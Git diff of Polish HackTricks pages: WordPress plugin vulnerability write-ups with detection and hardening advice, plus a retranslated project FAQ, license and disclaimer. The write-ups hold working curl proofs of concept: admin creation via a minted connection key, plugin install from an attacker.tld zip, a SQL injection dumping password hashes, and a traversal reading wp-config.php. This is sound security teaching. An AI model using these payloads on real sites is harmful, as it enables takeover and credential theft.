- Rozważ tymczasowe wyłączenie social login lub wirtualne załatanie na edge (zablokowanie podatnej akcji) do czasu naprawy.
|
||||
|
||||
Patched behaviour (Jobmonster 4.8.0)
|
||||
|
||||
- Usunięto niebezpieczny fallback oparty na $_POST['id']; $user_email musi pochodzić z gałęzi zweryfikowanego dostawcy w switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Niektóre wtyczki udostępniają endpointy REST, które tworzą wielokrotnego użytku “connection keys” lub tokeny bez weryfikacji uprawnień wywołującego. Jeśli trasa autoryzuje się jedynie na podstawie odgadniętego atrybutu (np. username) i nie wiąże klucza z użytkownikiem/sesją poprzez sprawdzenia uprawnień, każdy niezalogowany atakujący może wygenerować klucz i wywołać uprzywilejowane akcje (utworzenie konta admina, akcje wtyczki → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – wygeneruj connection key i użyj go
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Dlaczego to jest podatne
|
||||
- Wrażliwa ścieżka REST chroniona jedynie przez dowód tożsamości o niskiej entropii (username) lub brakujący permission_callback
|
||||
- Brak egzekwowania capability; wygenerowany klucz jest akceptowany jako uniwersalny bypass
|
||||
|
||||
Lista kontrolna wykrywania
|
||||
- Grep w kodzie wtyczki w poszukiwaniu register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Każda ścieżka, która wydaje tokeny/klucze na podstawie tożsamości dostarczonej w żądaniu (username/email) bez powiązania z uwierzytelnionym użytkownikiem lub capability
|
||||
- Szukaj kolejnych ścieżek, które akceptują wygenerowany token/klucz bez serwerowego sprawdzenia capability
|
||||
|
||||
Wzmocnienie
|
||||
- Dla każdej uprzywilejowanej ścieżki REST: wymagaj permission_callback, który egzekwuje current_user_can() dla wymaganej capability
|
||||
- Nie twórz długowiecznych kluczy na podstawie tożsamości dostarczonej przez klienta; jeśli to konieczne, wydawaj krótkotrwałe, powiązane z użytkownikiem tokeny po uwierzytelnieniu i ponownie sprawdzaj capability podczas użycia
|
||||
- Zwaliduj kontekst użytkownika wywołującego (wp_set_current_user nie jest wystarczające samo w sobie) i odrzucaj żądania, gdzie !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces zapobiegają CSRF, nie autoryzacji. Jeśli kod traktuje pozytywne przejście nonce jako zielone światło i następnie pomija sprawdzenia capability dla operacji uprzywilejowanych (np. install/activate plugins), niezalogowani atakujący mogą spełnić słabe wymaganie nonce i osiągnąć RCE przez zainstalowanie backdoored or vulnerable plugin.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||
- Impact: full compromise via arbitrary plugin install/activation
|
||||
|
||||
PoC (shape depends on plugin; illustrative only)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Detection checklist
|
||||
- REST/AJAX handlers modyfikujące wtyczki/motywy używające jedynie wp_verify_nonce()/check_admin_referer() i bez sprawdzenia uprawnień
|
||||
- Każda ścieżka kodu, która ustawia $skip_caps = true po walidacji nonce
|
||||
|
||||
Hardening
|
||||
- Zawsze traktuj nonces wyłącznie jako tokeny CSRF; wymuszaj sprawdzenia uprawnień niezależnie od stanu nonce
|
||||
- Wymagaj current_user_can('install_plugins') oraz current_user_can('activate_plugins') przed dotarciem do kodu instalatora
|
||||
- Odrzucaj nieuwierzytelniony dostęp; unikaj udostępniania nopriv AJAX actions dla uprzywilejowanych przepływów
|
||||
|
||||
---
|
||||
|
||||
## Niezalogowany SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Wiele akcji depicter-* wykorzystywało parametr s (search) i konkatenowało go w zapytaniach SQL bez parametryzacji.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Flaw: bezpośrednia konkatenacja łańcuchów w klauzulach WHERE/LIKE; brak użycia zapytań przygotowanych i sanitizacji
|
||||
- Impact: eksfiltracja bazy danych (użytkownicy, hashe), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Detection checklist
|
||||
- Przeszukaj (grep) depicter-* action handlers oraz bezpośrednie użycie $_GET['s'] lub $_POST['s'] w SQL
|
||||
- Przejrzyj niestandardowe zapytania przekazywane do $wpdb->get_results()/query(), łączące s
|
||||
|
||||
Hardening
|
||||
- Zawsze używaj $wpdb->prepare() lub wpdb placeholders; odrzucaj nieoczekiwane metaznaki po stronie serwera
|
||||
- Dodaj ścisłą białą listę dla s i normalizuj do oczekiwanego zestawu znaków/długości
|
||||
|
||||
---
|
||||
|
||||
## Unauthenticated Local File Inclusion via niezwalidowanej ścieżki szablonu/pliku (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Akceptowanie ścieżek kontrolowanych przez atakującego w parametrze template bez normalizacji/izolacji pozwala na odczyt dowolnych lokalnych plików, a czasami na wykonanie kodu, jeśli pliki PHP/log możliwe do include zostaną załadowane w czasie wykonywania.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: brak normalizacji/białej listy; traversal permitted
|
||||
- Impact: ujawnienie sekretów (wp-config.php), potencjalne RCE w określonych środowiskach (log poisoning, includable PHP)
|
||||
|
||||
PoC – read wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Lista kontrolna wykrywania
|
||||
- Każdy handler łączący ścieżki żądań i przekazujący je do include()/require()/read sinks bez kontroli za pomocą realpath()
|
||||
- Szukaj wzorców traversal (../), które prowadzą poza zamierzony katalog szablonów
|
||||
|
||||
Wzmocnienie zabezpieczeń
|
||||
- Wymuś listę dozwolonych (allowlisted) szablonów; rozwiąż ścieżki przez realpath() i sprawdź str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normalizuj wejście; odrzucaj sekwencje traversal i ścieżki bezwzględne; używaj sanitize_file_name() tylko dla nazw plików (nie pełnych ścieżek)
|
||||
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
@ -714,5 +854,11 @@ Serwer zwraca zawartość `wp-config.php`, leaking DB credentials and auth keys.
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# HackTricks Wartości i FAQ
|
||||
# Wartości HackTricks i FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,50 +7,50 @@
|
||||
> [!TIP]
|
||||
> Oto **wartości projektu HackTricks**:
|
||||
>
|
||||
> - Zapewnić **DARMOWY** dostęp do **EDUCATIONAL hacking** resources dla **CAŁEGO** Internetu.
|
||||
> - Zapewnić **FREE** dostęp do **EDUCATIONAL hacking** zasobów dla **ALL** Internetu.
|
||||
> - Hacking polega na uczeniu się, a nauka powinna być możliwie jak najbardziej darmowa.
|
||||
> - Celem tej książki jest służyć jako kompleksowy **zasób edukacyjny**.
|
||||
> - **PRZECHOWYWAĆ** świetne **hacking** techniki, które publikuje społeczność, oddając **ORYGINALNYM** **AUTOROM** wszystkie **zasługi**.
|
||||
> - **Nie oczekujemy uznania od innych**, chcemy tylko przechowywać fajne triki dla wszystkich.
|
||||
> - Piszemy też **własne badania** w HackTricks.
|
||||
> - W kilku przypadkach napiszemy w HackTricks jedynie **streszczenie najważniejszych części** techniki i **zachęcimy czytelnika do odwiedzenia oryginalnego wpisu** po więcej szczegółów.
|
||||
> - **ORGANIZOWAĆ** wszystkie techniki **hacking** w książce tak, aby były **BARDZIEJ DOSTĘPNE**
|
||||
> - Celem tej książki jest służenie jako kompleksowy zasób edukacyjny.
|
||||
> - **STORE** świetne **hacking** techniki publikowane przez społeczność, oddając **ORIGINAL** **AUTHORS** wszystkie **credits**.
|
||||
> - **We don't want the credit from other people**, chcemy po prostu przechowywać fajne sztuczki dla wszystkich.
|
||||
> - Publikujemy także **our own researches** w HackTricks.
|
||||
> - W kilku przypadkach opiszemy w HackTricks jedynie **podsumowanie najważniejszych części** techniki i **zachęcimy lektora do odwiedzenia oryginalnego wpisu** po więcej szczegółów.
|
||||
> - **ORGANIZE** wszystkie techniki **hacking** w książce, aby były **MORE ACCESSIBLE**
|
||||
> - Zespół HackTricks poświęcił tysiące godzin za darmo **wyłącznie na organizację treści**, aby ludzie mogli **uczyć się szybciej**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## FAQ HackTricks
|
||||
## HackTricks faq
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Thank you so much for these resources, how can I thank you?**
|
||||
|
||||
Możesz publicznie podziękować zespołowi HackTricks za zebranie tych zasobów, publikując tweet i oznaczając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Jeśli jesteś szczególnie wdzięczny możesz także [**sponsorować projekt tutaj**](https://github.com/sponsors/carlospolop).\
|
||||
I nie zapomnij **dodać gwiazdki do projektów Github!** (Zobacz linki poniżej).
|
||||
Możesz publicznie podziękować zespołowi HackTricks za udostępnienie tych zasobów, publikując tweet i wspominając [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Jeśli jesteś szczególnie wdzięczny możesz również [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
I nie zapomnij dać gwiazdki projektom na GitHubie! (Linki znajdziesz poniżej).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I contribute to the project?**
|
||||
|
||||
Możesz **dzielić się nowymi wskazówkami i trikami z społecznością lub naprawiać błędy** które znajdziesz w książkach, wysyłając **Pull Request** na odpowiednie strony Github:
|
||||
Możesz **dzielić się nowymi tips and tricks ze społecznością lub naprawiać błędy**, które znajdziesz w książkach, wysyłając **Pull Request** do odpowiednich stron na Github:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Nie zapomnij **dodać gwiazdki do projektów Github!**
|
||||
Nie zapomnij dać gwiazdki projektom na Githubie!
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||
|
||||
Tak, możesz, ale **nie zapomnij podać konkretnych linków** skąd pochodzi treść.
|
||||
Tak, możesz, ale **nie zapomnij wspomnieć konkretnych link(ów)**, skąd pochodziła zawartość.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I reference a page of HackTricks?**
|
||||
|
||||
Tak długo jak pojawi się link **do** strony(-stron), z której pochodzi informacja, to wystarczy.\
|
||||
Dopóki pojawi się link do strony/stron, z których wzięto informacje, to wystarczy.\
|
||||
Jeśli potrzebujesz bibtex możesz użyć czegoś takiego:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -64,82 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **Czy mogę skopiować wszystkie HackTricks na mój blog?**
|
||||
|
||||
**Wolałbym nie.** To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
|
||||
**Wolałbym nie**. To **nie przyniesie korzyści nikomu**, ponieważ cała **zawartość jest już publicznie dostępna** w oficjalnych książkach HackTricks za darmo.
|
||||
|
||||
Jeśli obawiasz się, że zniknie, po prostu zrób fork na Github lub pobierz ją — jak już mówiłem, jest już darmowa.
|
||||
Jeśli obawiasz się, że zniknie, po prostu zforkuj to na Github lub pobierz — jak już powiedziałem, jest już dostępne za darmo.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Dlaczego macie sponsorów? Czy książki HackTricks mają cele komercyjne?**
|
||||
|
||||
Pierwszą **wartością** HackTricks jest oferowanie **DARMOWYCH** materiałów edukacyjnych dotyczących hackingu dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić tę zawartość, ponownie, za **DARMO**.
|
||||
Pierwsza **wartość** HackTricks to oferowanie **DARMOWYCH** edukacyjnych zasobów o hacking dla **CAŁEGO** świata. Zespół HackTricks poświęcił **tysiące godzin**, aby udostępnić te materiały, ponownie, **ZA DARMO**.
|
||||
|
||||
Jeśli uważasz, że książki HackTricks są tworzone w **celach komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**.
|
||||
Jeśli myślisz, że książki HackTricks są tworzone w **celach komercyjnych**, to jesteś **CAŁKOWICIE W BŁĘDZIE**.
|
||||
|
||||
Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli chcą. Dlatego oferujemy ludziom opcję przekazania darowizny na HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz **odpowiednim firmom związanym z cyberbezpieczeństwem** sponsorowanie HackTricks i umieszczenie **kilku reklam** w książce — reklamy są zawsze umieszczane w miejscach, które czynią je **widocznymi**, ale **nie przeszkadzają w procesie nauki**, jeśli ktoś skupia się na treści.
|
||||
Mamy sponsorów, ponieważ nawet jeśli cała zawartość jest DARMOWA, chcemy **dać społeczności możliwość docenienia naszej pracy**, jeśli tego chcą. Dlatego oferujemy opcję przekazania wsparcia HackTricks poprzez [**Github sponsors**](https://github.com/sponsors/carlospolop), oraz dajemy **odpowiednim firmom z branży cybersecurity** możliwość sponsorowania HackTricks i umieszczania **niektórych reklam** w książce — **reklamy** są zawsze umieszczane w miejscach, w których są **widoczne**, ale **nie przeszkadzają w nauce**, jeśli ktoś skupia się na treści.
|
||||
|
||||
Nie znajdziesz HackTricks wypełnionego irytującymi reklamami jak inne blogi z dużo mniejszą zawartością niż HackTricks, ponieważ HackTricks nie jest tworzony w celach komercyjnych.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Co powinienem zrobić, jeśli jakaś strona HackTricks opiera się na moim wpisie na blogu, ale nie ma odniesienia?**
|
||||
> - **Co zrobić, jeśli jakaś strona HackTricks jest oparta na moim wpisie na blogu, ale nie została do niej odniesiona?**
|
||||
|
||||
**Bardzo nam przykro. To nie powinno się stać.** Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy odniesienie jak najszybciej**.
|
||||
**Bardzo przepraszamy. To nie powinno się zdarzyć**. Proszę, daj nam znać przez Github issues, Twitter, Discord... podaj link do strony HackTricks z treścią oraz link do twojego bloga i **sprawdzimy to i dodamy jak najszybciej**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Co zrobić, jeśli w HackTricks znajduje się treść z mojego bloga i nie chcę jej tam?**
|
||||
> - **Co zrobić, jeśli treść z mojego bloga znajduje się w HackTricks i nie chcę jej tam mieć?**
|
||||
|
||||
Zauważ, że posiadanie linków do twojej strony w HackTricks:
|
||||
|
||||
- Poprawia twoje **SEO**
|
||||
- Zawartość jest **tłumaczona na ponad 15 języków**, co umożliwia większej liczbie osób dostęp do tej treści
|
||||
- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (kilka osób wspomniało nam, że odkąd jakaś ich strona jest w HackTricks, otrzymują więcej odwiedzin)
|
||||
- **HackTricks zachęca** ludzi do **sprawdzenia twojej strony** (wiele osób wspomniało nam, że odkąd któraś z ich stron pojawiła się w HackTricks, otrzymują więcej odwiedzin)
|
||||
|
||||
Jeśli jednak nadal chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my na pewno **usuniemy wszelkie linki do twojego bloga** oraz wszelką zawartość opartą na nim.
|
||||
Jeśli mimo to chcesz, aby treść twojego bloga została usunięta z HackTricks, po prostu daj nam znać, a my **usunziemy każdy link do twojego bloga** i wszelką zawartość na nim opartą.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Co powinienem zrobić, jeśli znajdę skopiowaną treść w HackTricks?**
|
||||
> - **Co zrobić, jeśli znajdę skopiowaną zawartość w HackTricks?**
|
||||
|
||||
Zawsze **oddajemy oryginalnym autorom wszelkie zasługi**. Jeśli znajdziesz stronę ze skopiowaną treścią bez odwołania do oryginalnego źródła, daj nam znać, a my albo **usuniemy ją**, albo **dodamy link przed tekstem**, albo **przepiszemy ją, dodając link**.
|
||||
Zawsze **przyznajemy oryginalnym autorom pełne zasługi**. Jeśli znajdziesz stronę ze skopiowaną zawartością bez podania źródła, daj nam znać, a my albo **usunemy ją**, **dodamy link przed tekstem**, albo **przepiszemy ją dodając link**.
|
||||
|
||||
## LICENCJA
|
||||
## LICENSE
|
||||
|
||||
Copyright © Wszelkie prawa zastrzeżone, chyba że zaznaczono inaczej.
|
||||
|
||||
#### Podsumowanie licencji:
|
||||
#### License Summary:
|
||||
|
||||
- Atrybucja: Możesz:
|
||||
- Udostępniać — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie.
|
||||
- Adaptować — remiksować, przekształcać i tworzyć na podstawie materiału.
|
||||
- Attribution: Masz prawo:
|
||||
- Share — kopiować i rozpowszechniać materiał w dowolnym medium lub formacie.
|
||||
- Adapt — remiksować, przekształcać i tworzyć na bazie materiału.
|
||||
|
||||
#### Dodatkowe warunki:
|
||||
#### Additional Terms:
|
||||
|
||||
- Treści stron trzecich: Niektóre części tego bloga/książki mogą zawierać treści z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się zgodnie z zasadami dozwolonego użytku (fair use) lub za wyraźną zgodą odpowiednich posiadaczy praw autorskich. Prosimy o odniesienie się do oryginalnych źródeł w celu uzyskania szczegółowych informacji dotyczących licencji dla treści stron trzecich.
|
||||
- Autorstwo: Oryginalne treści stworzone przez HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisania autorstwa temu dziełu przy udostępnianiu lub adaptowaniu go.
|
||||
- Third-Party Content: Niektóre części tego bloga/książki mogą zawierać treści pochodzące z innych źródeł, takie jak fragmenty z innych blogów lub publikacji. Wykorzystanie takich treści odbywa się zgodnie z zasadami fair use lub za wyraźną zgodą odpowiednich właścicieli praw autorskich. Prosimy o zapoznanie się z oryginalnymi źródłami w celu uzyskania informacji o konkretnych licencjach dotyczących treści stron trzecich.
|
||||
- Authorship: Oryginalne treści autorstwa HackTricks podlegają warunkom tej licencji. Zachęcamy do przypisywania autorstwa przy udostępnianiu lub adaptowaniu tej pracy.
|
||||
|
||||
#### Wyłączenia:
|
||||
#### Exemptions:
|
||||
|
||||
- Wykorzystanie komercyjne: W sprawach dotyczących komercyjnego wykorzystania tych treści, proszę o kontakt.
|
||||
- Commercial Use: W sprawach dotyczących komercyjnego wykorzystania tych treści, prosimy o kontakt.
|
||||
|
||||
Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych lub brandingu w związku z treścią. Wszystkie znaki towarowe i elementy brandingu występujące w tym blogu/książce są własnością ich odpowiednich właścicieli.
|
||||
Niniejsza licencja nie przyznaje żadnych praw do znaków towarowych ani do brandingu w związku z treścią. Wszystkie znaki towarowe i branding występujące w tym blogu/książce są własnością ich odpowiednich właścicieli.
|
||||
|
||||
**Uzyskując dostęp do HackTricks lub korzystając z niego, zgadzasz się przestrzegać warunków tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie odwiedzać tej witryny.**
|
||||
**Korzystając z HackTricks, akceptujesz warunki tej licencji. Jeśli nie zgadzasz się z tymi warunkami, prosimy nie korzystać z tej strony.**
|
||||
|
||||
## **Zrzeczenie odpowiedzialności**
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Ta książka, 'HackTricks', przeznaczona jest wyłącznie do celów edukacyjnych i informacyjnych.
|
||||
>
|
||||
> Treść zawarta w tej książce jest udostępniana "w stanie, w jakim się znajduje" i autorzy oraz wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, co do kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług czy powiązanych grafik zawartych w tej książce. Wszelkie poleganie przez Ciebie na takich informacjach odbywa się wyłącznie na Twoje ryzyko.
|
||||
>
|
||||
> Autorzy i wydawcy nie ponoszą w żadnym wypadku odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, za straty pośrednie lub następcze, ani za jakiekolwiek szkody wynikające z utraty danych lub zysków wynikających z korzystania z tej książki lub w związku z tym.
|
||||
>
|
||||
> Dodatkowo techniki i wskazówki opisane w tej książce są przeznaczone wyłącznie do celów edukacyjnych i informacyjnych i nie powinny być wykorzystywane do jakichkolwiek nielegalnych lub złośliwych działań. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych nielegalnych lub nieetycznych działań, a każde użycie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika.
|
||||
>
|
||||
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przy próbach wdrażania jakichkolwiek technik lub wskazówek tu opisanych.
|
||||
>
|
||||
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności i roszczeń za wszelkie szkody, straty lub krzywdy mogące wyniknąć z korzystania z tej książki lub z informacji w niej zawartych.
|
||||
> Ta książka, 'HackTricks', jest przeznaczona wyłącznie do celów edukacyjnych i informacyjnych. Zawartość tej książki jest udostępniona na zasadzie "as is", a autorzy i wydawcy nie składają żadnych oświadczeń ani gwarancji jakiegokolwiek rodzaju, wyraźnych ani dorozumianych, dotyczących kompletności, dokładności, wiarygodności, przydatności lub dostępności informacji, produktów, usług lub powiązanych grafik zawartych w tej książce. Każde poleganie na takich informacjach odbywa się wyłącznie na własne ryzyko.
|
||||
>
|
||||
> Autorzy i wydawcy w żadnym wypadku nie ponoszą odpowiedzialności za jakiekolwiek straty lub szkody, w tym bez ograniczeń, straty pośrednie lub wynikowe, ani za jakiekolwiek straty lub szkody powstałe w związku z utratą danych lub zysków wynikających z korzystania z tej książki.
|
||||
>
|
||||
> Ponadto techniki i wskazówki opisane w tej książce są podane wyłącznie w celach edukacyjnych i informacyjnych i nie powinny być wykorzystywane do działań nielegalnych lub złośliwych. Autorzy i wydawcy nie pochwalają ani nie wspierają żadnych działań niezgodnych z prawem lub nieetycznych, a wszelkie wykorzystanie informacji zawartych w tej książce odbywa się na własne ryzyko i odpowiedzialność użytkownika.
|
||||
>
|
||||
> Użytkownik ponosi wyłączną odpowiedzialność za wszelkie działania podjęte na podstawie informacji zawartych w tej książce i powinien zawsze zasięgnąć profesjonalnej porady i pomocy przy próbach wdrażania jakichkolwiek opisanych technik lub wskazówek.
|
||||
>
|
||||
> Korzystając z tej książki, użytkownik zgadza się zwolnić autorów i wydawców z wszelkiej odpowiedzialności za wszelkie szkody, straty lub krzywdy, które mogą wyniknąć z korzystania z tej książki lub jakichkolwiek informacji w niej zawartych.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user